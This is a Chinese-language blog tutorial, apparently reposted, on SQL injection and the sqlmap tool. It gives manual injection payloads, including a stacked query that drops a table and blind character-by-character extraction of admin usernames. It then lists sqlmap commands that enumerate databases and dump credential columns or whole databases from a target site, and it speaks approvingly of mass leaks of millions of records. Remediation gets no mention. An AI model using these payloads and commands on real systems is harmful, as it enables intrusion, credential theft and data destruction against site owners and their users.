『安全工具』注入神器SQLMAP


     

    Pic by Baidu

0x 00 前言

    正是SQLMAP這種神器的存在,SQL注入簡直Easy到根本停不下來....

    PS:國內類似軟件也有阿D,明小子,挖掘機,當你用過他們之后你才會發現SQLMap才是絕對的注入神器

 

0x 01 注入原理

*****************************************開始分割線*****************************************

  存在注入的原因是因為后台在編寫程序時,沒有對用戶輸入的數據做過濾導致的,正如事實上,不是所有的用戶都是友好的

  比如:用戶在某個輸入框提交的參數是 2

      瀏覽器提交的URL為: http:// www.XXX.com/index.php?id=2

      服務器后台執行SQL語句: select * from table1 where id = 2

      返回Response,瀏覽器解析返回的頁面,然后你就看到新的頁面了

     如果邪惡的用戶提交的參數是 2;drop table1

        服務器后台執行SQL語句: select * from table1 where id =2 ; drop table1

        相當於后台執行了兩條SQL語句,查表,並且把table1刪除 - -

      從而導致了SQL注入。

  按照這個思路,現在寫一下手工注入的一般步驟:

  1、 判斷是否存在注入點(數字型注入)

    www.XXX.com/index.php?id=2‘--

    www.XXX.com/index.php?id=2 and 1=1  --

    www.XXX.com/index.php?id=2 and 1=2 --

    第2條返回正常,第1,3條返回不正常說明id參數存在注入漏洞

  2、 判斷數據庫類型

    可以根據不同數據庫特有的表,或者根據不同數據庫的語法不同進行判斷

    www.XXX.com/index.php?id=2 and exists(select * from sysobjects) --      返回正常是SQLServer 數據庫

    www.XXX.com/index.php?id=2 and exists(select * from msysobjects) --     返回正常是Access 數據庫

    www.XXX.com/index.php?id=2 and len('a') = 1 --  返回正常是SQLServer或者MySQL

    www.XXX.com/index.php?id=2 and substring('abc','1','1') = a --  返回正常是SQLServer

    www.XXX.com/index.php?id=2 and subStr('abc','1','1')= a --  返回正常是Oracle

    知道是哪種類型數據庫后就可以選擇對應語法構造SQL語句進行攻擊

  3、 判定是否存在admin表

    www.XXX.com/index.php?id=2 and exists(select * from admin) --  返回正常 存在admin表

  4、猜admin表中的字段名

    www.XXX.com/index.php?id=2 and exists(select username from admin) --  返回正常 表示admin表存在username字段

  5、 猜字段值

    www.XXX.com/index.php?id=2 and exists(select * from admin where id =1 and asc(mid(username,1,1))) < 100 -- 返回正常說明username中有ascii碼小於100的字母,然后根據折半發准確判斷是哪一個字符

  以上是 SQLServer的手工注入步驟,在MySQL和Oracle中略有不同,思路還是這個樣子,好了終於把這部分也不補上了~~

 

 *****************************************結束分割線*****************************************

0x 02 安裝SQLMap

  1. 安裝python  

    官網https://www.python.org/ 選擇最新版本下載安裝即可

    因為SQLMap使用Python寫的 ,所以沒有Python的環境SQLMap無法運行

  2. 安裝SQLMap

    官網 http://sqlmap.org/ 選擇最近版本安裝即可

  3. 設置環境變量

    為了使用便利,將SQLMAP的安裝目錄添加到系統環境變量中

    之后在CMD中就可以直接使用SQLMap了

    不設置環境變量的話,要把CMD的當前目錄切換到SQLMap安裝目錄才可以使用

 

0x 03 SQLMap常用命令介紹

  1. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"     

    判斷id參數是否存在注入:結果中包含 “id” is Vulnerable  字段表示存在注入

    存在注入,下面的步驟才可以執行成功~

  2. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"  --dbs

    列舉能列出的所有數據庫名

  3.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --current-db

    列出當前使用的數據庫名,假設列出“sqltest”數據庫  

  4.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1"  --is-dba

    判斷該注入點是否有管理員權限:返回true  表示是管理員

  5.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" --tables

    獲取sqltest中的所有表,假設有"admin"表

  6.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" --columns

    列舉表admin的字段(列名),假設存在"username","password"字段

  7.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump

    下載字段username,password的值,若詢問是否破解md5加密,選擇no即可

 

    至此,對一個簡單的注入點(GET方式),現在就已經得到了我們想要的數據

    想看工具的注入過程 使用-v參數

    -level 會提高注入等級(默認0 只會判斷get,post參數是否有注入點)

    若注入點是POST方式,或是注入點才Cookie,User-Agent中,可以利用-Date 參數 -Cookie參數指定

    當然用buip Suite架個代理,截取數據包,直接 -r 參數引入數據包也可以完成上述的注入情況的~

 

0x 04 注入Demo

    本次演示使用Apache+Php +Mysql 環境,其他環境的話

    使用SQLMap輸入還是相同的命令,這點SQLMap做的好方便

       

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --dbs 列所有數據庫名

     

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --current-db 列出當前數據庫

    

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --is-dba   判斷注入點是否有管理員權限

    

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --tables  猜表名

    

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" --columns  猜字段名

    

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" -C "id,name" --dump 猜id和name的值

    

    

    網絡上流傳的脫褲 用的可就是下面的一句話

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --dump-all

    突然發現 強大的東西往往僅僅是一句話 ! !

    這條命令會直接把test數據庫中所有的表全部下載到安裝目錄output文件夾中

    然后就有了  2000W  xxx 800W xxx ....................你懂得

    


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM